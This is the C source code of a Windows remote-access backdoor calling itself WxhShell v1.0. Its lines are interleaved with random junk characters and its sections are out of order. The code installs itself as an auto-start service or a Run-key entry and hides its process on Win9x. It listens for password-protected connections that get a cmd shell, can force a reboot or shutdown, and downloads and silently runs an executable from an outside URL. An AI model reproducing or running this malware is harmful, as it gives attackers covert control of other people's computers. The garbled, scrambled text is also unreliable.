    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9^ *ZH1  
    else { ~a8G 5M  
    closesocket(wsh); EfrkB"  
    ExitThread(0); Pguyf2/w  
    } ixJ20A7  
    break; |>/&EElD  
    } /Y\E68_Fh  
  // 关机 eI=Y~jy  
  case 'd': { c[d'1=Qiy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sWZtbW;)  
    if(Boot(SHUTDOWN)) jO3u]5}.6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T>uWf#&pjs  
    else { l"pz )$eE  
    closesocket(wsh); (h@yA8>n  
    ExitThread(0); >y06s{[  
    } @#ho(_U8  
    break; l]kl V+9t  
    } Bg+]_:<U  
  // 获取shell s=%+o& B  
  case 's': { J:-TINeB  
    CmdShell(wsh); C+#;L+$Gi  
    closesocket(wsh); kO`3ENN  
    ExitThread(0); k.%W8C<Pa  
    break; 1KIq$lG{ E  
  } |>o0d~s  
  // 退出 6L6~IXL>  
  case 'x': { -JQg ~1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <sWcS; x  
    CloseIt(wsh); @tv];t  
    break; 8hdAXWPn  
    } 5vh"PlK`s  
  // 离开 xMfv&q=k@  
  case 'q': { b=QGbFf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ";Ig%]  
    closesocket(wsh); FnQ_=b  
    WSACleanup(); |`t!aG8  
    exit(1); )Fr;'JYC1S  
    break; ^B6i6]Pd=9  
        } \|>`z,;  
  } Sp$x%p0  
  } ; R|#ae@  
\F+o=  
  // 提示信息 >LaL! PnZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1q233QSW)  
} wyA(}iSq  
  } ~G ^}2#5  
QB|fFj58u  
  return; .lF\bA|  
} gjN!_^ _  
46?F+,Rzl  
// shell模块句柄 U#]eN[  
int CmdShell(SOCKET sock) Py25k 0j!  
{ c'Tu,-  
STARTUPINFO si; 7D~O/#dcc  
ZeroMemory(&si,sizeof(si)); SnF[mN'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Il9s#NA%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *I1W+W`G  
PROCESS_INFORMATION ProcessInfo; e %v4,8  
char cmdline[]="cmd"; jUR #  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z2j*%/  
  return 0; A"3&EuvU  
} llG#nDe  
g Wv+i/,  
// 自身启动模式 [QqNsco)  
int StartFromService(void) JO^ [@  
{ ^Er`{|o6u  
typedef struct oY6|h3T=Q$  
{ >dm._*M  
  DWORD ExitStatus; '%RK KA  
  DWORD PebBaseAddress; <VxpMF  
  DWORD AffinityMask; MJ/%$  
  DWORD BasePriority; #|_UA}Y  
  ULONG UniqueProcessId; AW;) _|xM  
  ULONG InheritedFromUniqueProcessId; F#bo4'&>@  
}   PROCESS_BASIC_INFORMATION; ].f,3it g&  
;pyJ O_R[  
PROCNTQSIP NtQueryInformationProcess; "oXAIfU#T  
ST8/ ;S#c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P$ dgO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z *<x  
 aC }1]7  
  HANDLE             hProcess; m#K%dR  
  PROCESS_BASIC_INFORMATION pbi; eF;1l<<   
b`|MK4M(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `FB?cPR  
  if(NULL == hInst ) return 0; C<@1H>S4_  
Qp.!U~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #!&R7/ KdD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )"Br,uIv:/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jv=f@:[`I  
c@#zjJhW]  
  if (!NtQueryInformationProcess) return 0; KB *#t  
xPJJ !mY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nK'8Mo  
  if(!hProcess) return 0; H1j6.i}q  
vG_v89t!ex  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0t[mhmSU,  
sr@XumT  
  CloseHandle(hProcess); }_/h~D9-T#  
&c9Fw:f;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4-rI4A<  
if(hProcess==NULL) return 0; L{,7(C=  
x&/Syb  
HMODULE hMod; $,zM99  
char procName[255]; O8N0]Mz  
unsigned long cbNeeded; 5{/Pn%5  
e27CbA{_w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3v>,c>b([  
*]{I\rX  
  CloseHandle(hProcess); 78J .~v/  
skx=w<YO6]  
if(strstr(procName,"services")) return 1; // 以服务启动 1nTaKK q  
p}|wO&4h  
  return 0; // 注册表启动 L=w Fo^N  
} G/3lX^Z>  
54cgX)E[x  
// 主模块 sH,)e'0  
int StartWxhshell(LPSTR lpCmdLine) {ZEXlNPww  
{ Dlf=N$BL7d  
  SOCKET wsl; iwjl--)@K  
BOOL val=TRUE; 5qfKV&D  
  int port=0; I%C:d#p  
  struct sockaddr_in door; Bo\v-97  
?F!J@Xn5  
  if(wscfg.ws_autoins) Install(); [#6Esy8|  
F8;4Oj  
port=atoi(lpCmdLine); s^R2jueR  
XTaWd0Y  
if(port<=0) port=wscfg.ws_port; RW[<e   
\0T*msYQ  
  WSADATA data; Pc4c Sw#5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JP@m%Yj  
c!wB'~MS#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ! e,(Zz5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s:F+bG}|  
  door.sin_family = AF_INET; L=!kDU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QGG(I7{-  
  door.sin_port = htons(port); 3CuoB b8  
@wJa33QT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S,v>*AF  
closesocket(wsl); 8B+^vF   
return 1; _H<OfAO  
} J$*["y`+  
}eFUw  
  if(listen(wsl,2) == INVALID_SOCKET) { ?o5#Ve$-X  
closesocket(wsl); @@mW+16  
return 1; \#7%%>p=O'  
} Riuv@i^6K  
  Wxhshell(wsl); TFNU+  
  WSACleanup(); y/VmjsN}  
7$P(1D4  
return 0; M|=$~@9#X  
Nh/ArugP5P  
} 9],"AjD  
vbh#[,lh  
// 以NT服务方式启动 TEZqAR]G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <[l}^`IC^4  
{ i j;'4GzQL  
DWORD   status = 0; z( [$,e\  
  DWORD   specificError = 0xfffffff; \1 D,Kx;Cb  
S%#Mu|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h,?Yw+#o"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;QD;5 <1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sn`?Foh  
  serviceStatus.dwWin32ExitCode     = 0; K :ptfD  
  serviceStatus.dwServiceSpecificExitCode = 0; Bin&:%|9?  
  serviceStatus.dwCheckPoint       = 0; >.~k?_Of  
  serviceStatus.dwWaitHint       = 0; 5{aQ4H>~tx  
4GA-dtyV&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c}s3c >`d  
  if (hServiceStatusHandle==0) return; |sM#g1D@  
[N+ruc?)  
status = GetLastError(); :S6 <v0`Z  
  if (status!=NO_ERROR) vJ}  
{ vz5 RS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Cms"OkN  
    serviceStatus.dwCheckPoint       = 0; 8^i,M^f^{  
    serviceStatus.dwWaitHint       = 0; S9055`v5  
    serviceStatus.dwWin32ExitCode     = status; )X$n'E  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^q r[?ky]&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tO3B_zC  
    return; "z4E|s  
  } Q_Sq  uuk  
UpBYL?+L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RVy87_J1  
  serviceStatus.dwCheckPoint       = 0; 481u1  
  serviceStatus.dwWaitHint       = 0; N Z9,9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k rjd:*E  
} baGI(Dk  
!&%bl  
// 处理NT服务事件,比如:启动、停止 o!0a8i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NH6!|T  
{ Kx!|4ya,  
switch(fdwControl) scwlW b<N  
{ s_kd@?=`x  
case SERVICE_CONTROL_STOP: vB4qJ{f  
  serviceStatus.dwWin32ExitCode = 0; 5X|aa>/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |<icx8hbr  
  serviceStatus.dwCheckPoint   = 0; vtjG&0GSK  
  serviceStatus.dwWaitHint     = 0; iAhRlQ{Qu  
  { >g=:01z9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sOenR6J<$  
  } .gg0:  
  return; KO$8lMm$  
case SERVICE_CONTROL_PAUSE: @cNI|T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #]^`BQ>  
  break; L6qA=b~iz  
case SERVICE_CONTROL_CONTINUE: T8 /'`s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WG4|Jf Y  
  break; &_gmQ;%t:  
case SERVICE_CONTROL_INTERROGATE: 40/[ uW"  
  break; 2b1:Tt9  
}; Ut@)<N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,aL"Wy(  
} v9kzMxs,  
6Z:|"AwC2  
// 标准应用程序主函数 H[U*' 2TJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |REU7?B  
{ 3E:<  
[-a /]  
// 获取操作系统版本 5@5="lNjS  
OsIsNt=GetOsVer(); {.W%m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X / "H+l  
W0hLh<Go  
  // 从命令行安装 cH ?]uu(  
  if(strpbrk(lpCmdLine,"iI")) Install(); )~kb 7rfl  
qIp`'.#m  
  // 下载执行文件  $nWmoe)  
if(wscfg.ws_downexe) { Yb*}2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xu0*sQK  
  WinExec(wscfg.ws_filenam,SW_HIDE); #y%Ao\~kG  
} =B2=UF  
vS<e/e+  
if(!OsIsNt) { 2YQ$hL~  
// 如果时win9x,隐藏进程并且设置为注册表启动 qxh\umm+2  
HideProc(); b2H6}s"=w  
StartWxhshell(lpCmdLine); 9!h+LGs(,  
} j+seJg<_  
else )qe o`4+y  
  if(StartFromService()) ;rbn/6  
  // 以服务方式启动 1Btf)y'  
  StartServiceCtrlDispatcher(DispatchTable); qI:wm=  
else :#;?dMkTY  
  // 普通方式启动 ) 'KHUa9  
  StartWxhshell(lpCmdLine); " OtLJ  
Dr609(zg^  
return 0; H*IoJL6  
} QB>e(j%  
)vzT\dQ|  
@"0qS:s]X  
qB`P7!VN^]  
=========================================== i"@?eq#h  
V;=T~K|)>  
!h\3cs`QU  
;?9~^,l  
kPe9G  
hz|$3*q  
" uOx$@1v,  
m? hX=  
#include <stdio.h> x&wUPo{  
#include <string.h> d=XhOC$  
#include <windows.h> |@nXlZE  
#include <winsock2.h> z=sqO'~  
#include <winsvc.h> AF}HS8eYy  
#include <urlmon.h> k:.c(_2M  
Lb/_ULo6-V  
#pragma comment (lib, "Ws2_32.lib") ~ln,Cm} 4  
#pragma comment (lib, "urlmon.lib") ebchHnOd  
,58[WZG  
#define MAX_USER   100 // 最大客户端连接数 ^C{a'  
#define BUF_SOCK   200 // sock buffer ~qF9*{~!  
#define KEY_BUFF   255 // 输入 buffer f#jAjzmYL  
zb(u?U  
#define REBOOT     0   // 重启 +TX]~k79Oq  
#define SHUTDOWN   1   // 关机 9S^-qQH3}  
OZ&aTm :  
#define DEF_PORT   5000 // 监听端口 KN=Orx7Gy  
a@. /e @p  
#define REG_LEN     16   // 注册表键长度 F=H=[pSe  
#define SVC_LEN     80   // NT服务名长度 '*:YC  
y;H 3g#  
// 从dll定义API d8>D=Ve  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rv%Xvs B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &!=3Fbn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g;pymz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wpvaTHo  
)m U)7@!  
// wxhshell配置信息 ?/~1z*XUW  
struct WSCFG { 4^5s\ f B  
  int ws_port;         // 监听端口 {+MMqJCa  
  char ws_passstr[REG_LEN]; // 口令 \BDNF< _  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]_h"2|  
  char ws_regname[REG_LEN]; // 注册表键名 h4C B1K  
  char ws_svcname[REG_LEN]; // 服务名 aw`mB,5U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]!QeJ'BLM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  O-k(5Zb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q1rwTg\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .B@;ch,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0M"E6z)9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?@#<>7V  
= ~yh[@R)  
}; ~kL":C>2  
G7yxCU(I\  
// default Wxhshell configuration L2N/DB'{  
struct WSCFG wscfg={DEF_PORT, TBpW/wz/  
    "xuhuanlingzhe", r |(Lb'k  
    1, -4;u|0_  
    "Wxhshell", ~(c<ioIf  
    "Wxhshell", "o1/gV  
            "WxhShell Service", Msf yI B  
    "Wrsky Windows CmdShell Service", z y.Ok 49  
    "Please Input Your Password: ", +MEWAW[}^  
  1, D_{J:Hb  
  "http://www.wrsky.com/wxhshell.exe", C1_NGOvT  
  "Wxhshell.exe" QwiC2}/  
    }; h OV+}P6  
#Jn_"cCRLx  
// 消息定义模块 Sb<=ROCg@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,^3D"Tky  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6 ^p 6v   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +um; eL7  
char *msg_ws_ext="\n\rExit."; r8qee$^M  
char *msg_ws_end="\n\rQuit."; 607#d):Y  
char *msg_ws_boot="\n\rReboot..."; J&5|'yVX  
char *msg_ws_poff="\n\rShutdown..."; "_^FRz#h  
char *msg_ws_down="\n\rSave to "; Z^sO`C  
7HzKjR=B  
char *msg_ws_err="\n\rErr!"; .{6TX"M  
char *msg_ws_ok="\n\rOK!"; kys?%Y1  
MRs8l  
char ExeFile[MAX_PATH]; xKxWtZ0  
int nUser = 0; u5lj+?  
HANDLE handles[MAX_USER]; 4CDmq[AVS[  
int OsIsNt; Qr/?tMALc  
`VHm,g2  
SERVICE_STATUS       serviceStatus; .w0?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DQ,QyV  
Y$N|p{Z  
// 函数声明 9:P)@UF  
int Install(void); C'{Z?M>  
int Uninstall(void); D%Wr/6X  
int DownloadFile(char *sURL, SOCKET wsh); &Z9b&P  
int Boot(int flag); /HLQ  
void HideProc(void); 7|2:;5:U  
int GetOsVer(void); re<"%D  
int Wxhshell(SOCKET wsl); 9Y7 tI3  
void TalkWithClient(void *cs); +q3W t|  
int CmdShell(SOCKET sock); ).-FuL4Y  
int StartFromService(void); fx*Swv%r  
int StartWxhshell(LPSTR lpCmdLine); @wpm;]  
A/'G.H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Dhq7qz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0-=QQOART\  
2WKA] l;  
// 数据结构和表定义 __zsrIUJ  
SERVICE_TABLE_ENTRY DispatchTable[] = )sW1a  
{ Bq'hk<ns[  
{wscfg.ws_svcname, NTServiceMain}, k(s3~S2h  
{NULL, NULL} xa K:@/  
}; sR5dC_  
/6>2,S8Ar  
// 自我安装 1aSuRa  
int Install(void) oI^iL\\2h  
{ $BG9<:p  
  char svExeFile[MAX_PATH]; p t<84CP  
  HKEY key; g|W~0A@D  
  strcpy(svExeFile,ExeFile); r8@:Ko= a  
{D7!'Rq,  
// 如果是win9x系统,修改注册表设为自启动 E;%{hAD{  
if(!OsIsNt) { 0O[q6!&]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #u#s'W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nz2}Ma 2  
  RegCloseKey(key); F7mzBrz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %!WQ;(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wLW!_D,/R  
  RegCloseKey(key); J9{B  
  return 0; p_[k^@ $  
    } 1,4kw~tA  
  } ,"&vhgYU  
} ] Qj65]  
else { ~fr1O`8  
"ibKi=  
// 如果是NT以上系统,安装为系统服务 R_/T bz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +W-sb5)  
if (schSCManager!=0) 64[j:t=N  
{ 7pkc*@t  
  SC_HANDLE schService = CreateService n`CmbM@@  
  ( :I1bGa&I  
  schSCManager, w)hJ0k  
  wscfg.ws_svcname, j'~xe3j  
  wscfg.ws_svcdisp, ^5xY&1j  
  SERVICE_ALL_ACCESS, P[^!Uq[0n7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N@*v'MEko%  
  SERVICE_AUTO_START, SdN|-'qf  
  SERVICE_ERROR_NORMAL, x_#yH3kJ  
  svExeFile, |rsu+0Mtz  
  NULL, #t9&X8:U  
  NULL, IA''-+9  
  NULL, :  wb\N'b  
  NULL, O(CUwk  
  NULL bD=_44I  
  ); aMT&}3  
  if (schService!=0) 9Lv`3J^~  
  { 7 pp[kv;!G  
  CloseServiceHandle(schService); $YFn$.70\  
  CloseServiceHandle(schSCManager); GT`:3L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }KJ/WyYW  
  strcat(svExeFile,wscfg.ws_svcname); AuSL?kZ4|Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UtY< R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ktg6*L/  
  RegCloseKey(key); )J5(M`  
  return 0; z9E*Mh(NE  
    } E}yl@8g:#  
  } r*y4Vx7  
  CloseServiceHandle(schSCManager); ."cC^og  
} ig3uY#  
} 1NA>W   
R /iB  
return 1; D L<r2h  
} 4,UvTw*2z  
Bz]j&`  
// 自我卸载 JoIffI?{(D  
int Uninstall(void) *=)%T(^  
{ kC6J@t)  
  HKEY key; BPtU]Bv-  
Ig*!0(v5$  
if(!OsIsNt) { enE8T3   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /id(atiF^  
  RegDeleteValue(key,wscfg.ws_regname); 6imDA]5N&  
  RegCloseKey(key); ]#KZ W)M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e*=N\$  
  RegDeleteValue(key,wscfg.ws_regname); 7hY~  
  RegCloseKey(key); e&#qj^  
  return 0; `TBau:ElI  
  } /mF%uI>:  
} <LH(>  
} !/sXG\  
else { g/J ^ YT!  
02SFFqm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $D<LND=o=  
if (schSCManager!=0) _L<IxOZh+  
{ FNtcI7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 44]/rP_m  
  if (schService!=0) U2\zl  
  { ['e8Xz0  
  if(DeleteService(schService)!=0) { e%u1O -*  
  CloseServiceHandle(schService); WR%x4\,d#  
  CloseServiceHandle(schSCManager); >Y!5c 2~`;  
  return 0; mO(m%3  
  } -}4<P}.5T  
  CloseServiceHandle(schService); h1q?kA  
  } +)dQd T0Fq  
  CloseServiceHandle(schSCManager); 2:Zb'Mj  
} rK9X68)  
} IEmtt^C  
":tQYo]d  
return 1; wk' |gI[W  
} ~f;d3dJ]/  
58ev (f  
// 从指定url下载文件 "O!J6  
int DownloadFile(char *sURL, SOCKET wsh) ^dM,K p  
{ zkA"2dh  
  HRESULT hr; E0o=  
char seps[]= "/"; z%<Z#5_N  
char *token; &J,MJ{w6"  
char *file; eZJrV} V  
char myURL[MAX_PATH]; 7?Q<kB=f  
char myFILE[MAX_PATH]; L*"Q5NzB]  
8fY1~\G:\  
strcpy(myURL,sURL); [f!sBJ!  
  token=strtok(myURL,seps); OjcxD5"v9  
  while(token!=NULL) Dh*Uv,  
  { tl !o;`W  
    file=token; y_;LTCj?  
  token=strtok(NULL,seps); 8F9sKRq|rO  
  } c!d>6:\  
}YfM <  
GetCurrentDirectory(MAX_PATH,myFILE); TGlIt<&  
strcat(myFILE, "\\"); rd vq(\A  
strcat(myFILE, file); lb{<}1YR0o  
  send(wsh,myFILE,strlen(myFILE),0); /\q1,}M  
send(wsh,"...",3,0); |kB1>$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }uz*6Z(S  
  if(hr==S_OK) /=).)<&|R  
return 0; }lvD 5  
else G];5'd~C;d  
return 1; xPl+ rsU  
=$`EB  
} :<=A1>&8  
.v?Ir)  
// 系统电源模块 \#?n'qyj  
int Boot(int flag) G|*^W;(Z  
{ &-mPj82R  
  HANDLE hToken; mI_ ?hl?Pv  
  TOKEN_PRIVILEGES tkp; Vv8e"S  
zUF%`CR  
  if(OsIsNt) { ?j6?KR@#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yj13>"nh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?`#)JG,A7  
    tkp.PrivilegeCount = 1; =87.6Ai  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -rb]<FrL^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BG\g`NK}Z  
if(flag==REBOOT) { xXp$Nm]:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ckY,6e"6  
  return 0; ( qG | .a  
} i"V2=jTeBv  
else { @F%H 1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X458%)G!(K  
  return 0; w 4-E@>%  
} G$kspN*"A  
  } 2Z!%Q}Do  
  else { ^vw? 4O  
if(flag==REBOOT) { V4@ HIM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wH&[Tg  
  return 0; ,Wtod|vx\U  
} n%yMf!M .:  
else { |E/U(VS3l~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F0 x5(lp Q  
  return 0; ?nN3K   
} $Hh3*reSg-  
} HIM>%   
Wyh   
return 1; -b'93_ZTu:  
} >U?HXu/TJr  
P4@<`Eb  
// win9x进程隐藏模块 hYO UuC  
void HideProc(void) sz4)xJgF (  
{ b~uz\%'3  
5:ca6 H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t 1gH9  
  if ( hKernel != NULL ) \i%h/Ao  
  { j[2?}?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EA_6L\+8&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  o0t/  
    FreeLibrary(hKernel); ?ra6Lo  
  } YbjeM6#E  
BIyNiol$AJ  
return; S^ ij%  
} ZtG5vdf  
94Wf ]  
// 获取操作系统版本 fS2 ^$"B|  
int GetOsVer(void) H=Sy.  
{ :y#KR\T1  
  OSVERSIONINFO winfo; <7Igd6u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); agdiJ-lyQ  
  GetVersionEx(&winfo); "uK`!{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N]qX^RSb  
  return 1; E{_$C!.  
  else &aD ]_+b  
  return 0; svki=GD_(.  
} a:nMW'!  
Q(Uj5aX  
// 客户端句柄模块 BfQRw>dZ"{  
int Wxhshell(SOCKET wsl) Q?]307g7  
{ :{2exu  
  SOCKET wsh; bj)dYj f  
  struct sockaddr_in client; <~ E'% 60;  
  DWORD myID; m E<n=g=  
m<]b]FQ  
  while(nUser<MAX_USER) 3e~X`K1Q<  
{ 96M?tTa  
  int nSize=sizeof(client); %heX06  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G;r-f63N  
  if(wsh==INVALID_SOCKET) return 1; 'Y`.0T[&  
QI\&D)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z[+H$=$%  
if(handles[nUser]==0) eyPh^c]?`8  
  closesocket(wsh); gHCk;dmq81  
else ODE9@]a  
  nUser++; eLC}h %  
  } nU]4)t_o\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  =FZt  
eq>E<X#<  
  return 0; r[ 2N;U  
} dno=C  
pMJK?- )  
// 关闭 socket /y2upu*!  
void CloseIt(SOCKET wsh) uYk4qorA  
{ ;-Bi~XD  
closesocket(wsh); -.#He  
nUser--; zD8q(]: A  
ExitThread(0); WHh=ht s\  
} +;nADl+Q  
n|,kL!++.  
// 客户端请求句柄 TM sEHd  
void TalkWithClient(void *cs) ~c8Z9[QW  
{ fG;(&Dx  
'MEO?]Tf.^  
  SOCKET wsh=(SOCKET)cs; ?V|t7^+:  
  char pwd[SVC_LEN]; k:D;C3vJd  
  char cmd[KEY_BUFF]; ,XmTKO c  
char chr[1]; NNUm=g^  
int i,j; G[U'-a}I  
C+/D!ZH%P  
  while (nUser < MAX_USER) { O{" A3f  
((Bu Bu>  
if(wscfg.ws_passstr) { nx<q]J uv\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  gB\ a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [[fhfV+H  
  //ZeroMemory(pwd,KEY_BUFF); K<`"Sr  
      i=0; |Tz/9t  
  while(i<SVC_LEN) { >icK]W  
(+g!~MP  
  // 设置超时 +*OY%;dQ7@  
  fd_set FdRead; 4qw&G  
  struct timeval TimeOut; z1oikg:?4  
  FD_ZERO(&FdRead); | ?Js)i  
  FD_SET(wsh,&FdRead); pq;)l( Hi  
  TimeOut.tv_sec=8; B@w Q [  
  TimeOut.tv_usec=0; ;D5B$ @W>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J('p'SlI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r{m"E^K,  
R!7emc0T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wg?:jK  
  pwd=chr[0]; V+A1O k )  
  if(chr[0]==0xd || chr[0]==0xa) { "Q*Z?6[Z  
  pwd=0; hM*T{|y  
  break; L@rKG~{Xy  
  } #vN\]e  
  i++; )9@I7QG?  
    } oh{!u!L`]  
pH&Q]u; O  
  // 如果是非法用户,关闭 socket pf.T{/%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G6X  
} h%kB>E~  
G7lC'~}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N"~P` H![x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h[d|y_)f  
IQK__)  
while(1) { D_E^%Ea&`  
Z+"%MkX0  
  ZeroMemory(cmd,KEY_BUFF); ?k4O)?28  
lyzMKla"  
      // 自动支持客户端 telnet标准   GiBq1U-Q  
  j=0; )i; y4S  
  while(j<KEY_BUFF) { =dbLA ,z9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9\W~5J<7  
  cmd[j]=chr[0]; rnxO2   
  if(chr[0]==0xa || chr[0]==0xd) { 7`3he8@ze  
  cmd[j]=0; BaIh,iu  
  break; X~RET[L2  
  } tR#uDE\wR  
  j++; o{\@7'G  
    } `nM Huv  
bA#E8dlC_  
  // 下载文件 1{+Ni{  
  if(strstr(cmd,"http://")) { [.P~-6~  
